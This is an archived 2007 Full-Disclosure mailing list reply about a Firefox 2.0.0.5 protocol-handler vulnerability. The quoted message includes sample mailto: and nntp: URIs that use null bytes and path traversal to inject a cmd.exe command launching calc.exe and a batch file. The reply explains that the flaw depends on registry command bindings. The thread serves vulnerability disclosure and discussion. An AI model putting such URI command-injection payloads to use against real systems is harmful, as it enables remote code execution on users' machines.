Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security FullDisclosure
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

Re: [Full-disclosure] FIREFOX 2.0.0.5 new vulnerability

from [Nate McFeters] Network Security [Permanent Link]
Subject: Re: [Full-disclosure] FIREFOX 2.0.0.5 new vulnerability
Date: Wed, 25 Jul 2007 08:45:28 -0400 
Check out our blog on xs-sniper.com.  There's more info there.  This
flaw does somewhat depend upon what you have installed, as is
referenced on our blog page.  Keep in mind that the URI's are tied to
commands thru the registry, and that those commands are where the
command injections go.  If you have a different command from what we
have, then of course there's the chance it doesn't work.

Thanks,

Nate

On 7/25/07, Mesut EREN <meren@basakkiremit.com.tr> wrote:




Hi all,

FF 2.0.0.5 new remote code Execution vulnerability, I tested FF 2.0.0.5. But
don't work is code.

Example code is

mailto:%00%00../../../../../../windows/system32/cmd".exe
../../../../../../../../windows/system32/calc.exe " - "
blah.bat

nntp:%00%00../../../../../../windows/system32/cmd".exe
../../../../../../../../windows/system32/calc.exe " - "
blah.bat

Where i missing?



Mesut EREN
 BAŞAK ÇATI & CEPHE SİSTEMLERİ
 Bilgi İşlem Sorumlusu

MCSA:S,MCSE:S,CEH,CCNA

meren@basakkiremit.com.tr




_______________________________________________
Full-Disclosure - We believe in it.
Charter:
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[More messages with this same subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  [Full-disclosure] [OpenPKG-SA-2007.022] OpenPKG Security Advisory (bind), OpenPKG GmbH
Next by Date:  [Full-disclosure] n.runs-SA-2007.024 - CA eTrust Antivirus Infinite Loop DoS (remote) Advisory, security
Previous by Thread:  Re: [Full-disclosure] FIREFOX 2.0.0.5 new vulnerability, pdp (architect)
Next by Thread:  Re: [Full-disclosure] FIREFOX 2.0.0.5 new vulnerability, wac
Indexes:  [Date] [Thread] [Top] [All Lists]